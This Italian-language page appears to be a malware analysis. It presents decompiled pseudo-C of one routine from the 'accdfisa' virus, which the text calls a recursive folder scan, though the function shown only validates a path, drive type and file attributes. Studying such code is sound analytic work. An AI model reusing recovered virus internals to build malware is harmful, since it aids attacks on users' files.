Codice sorgente di accdfisa

In questa routine illustriamo il reverse coding eseguito sulla funzione ricorsiva di scansione delle cartelle eseguita dal virus.

L0040DFEC(
    char* _a4                              // _cfa_4
)
{
    char _v8;                              // _cfa_fffffff8
    char _v267;                            // _cfa_fffffef5
    char _v268;                            // _cfa_fffffef4
    signed int _v556;                      // _cfa_fffffdd4
    signed int _v560;                      // _cfa_fffffdd0
    char _v588;                            // _cfa_fffffdb4
    _unknown_ __edi;                       // r4
    _unknown_ __esi;                       // r5
    _unknown_ __ebp;                       // r6
    char* _t25;                            // _t25
    int _t30;                              // _t30
    void* _t33;           // _t33
    signed char _t35;                      // _t35
    _unknown_ _t45;                        // _t45
    signed int _t46;                       // _t46
    signed int _t48;                       // _t48
    signed int _t49;                       // _t49

    _t25 = _a4;
    __esp = __esp - 584;
    _push(_t48);
    _t49 = _t48 | 255;
    _push(_t45);
    _t46 = _t49;
    if(_t25 == 0 ||  *_t25 == 0) {
L26:
        _pop(__edi);
        _pop(__esi);
        return _t46;
    } else {
        _push(260);
        _push(_t25);
        _push( &_v268);
        strncpy();
        _push( &_v268);
        _v8 = 0;
        _t30 = strlen();
        __esp = __esp + 16;
        __ecx = __ebp + _t30 + -265;
        if(_t30 == 2 || _t30 == 3) {
            if(_v267 != 58) {
                goto L10;
            } else {
                if(_t30 == 2) {
                    _push("");
                    _push( &_v268);
                    strcat();
                    _pop(__ecx);
                    _pop(__ecx);
                }
                if(GetDriveTypeA( &_v268) <= 1) {
                    goto L26;
                } else {
                    goto L25;
                }
            }
        } else {
L10:
            while( *__ecx == 92) {
                 *__ecx = 0;
                __ecx = __ecx - 1;
            }
            _t33 = FindFirstFileA( &_v268,  &_v588);
            if(_t33 == 255) {
                if(_v268 != 92 || _v267 != 92) {
                    if(_v268 != 46 || _v267 != 46) {
                        goto L26;
                    } else {
                        goto L20;
                    }
                } else {
L20:
                    _t35 = GetFileAttributesA( &_v268);
                    if(_t35 == 255) {
                        if(GetDriveTypeA( &_v268) <= 1) {
                            goto L26;
                        }
L24:
                        _t49 = _t49 | 255;
L25:
                        _push(254);
                        _pop(__edi);
                        goto L26;
                    }
                    if((_t35 & 16) == 0) {
                        goto L26;
                    }
                    goto L24;
                }
            }
            if((_v588 & 16) == 0) {
                _t46 = 0 | _v556;
                _t49 = _v560;
            } else {
                _push(254);
                _pop(__edi);
                _t49 = _t49 | 255;
            }
            FindClose(_t33);
            goto L26;
        }
    }
}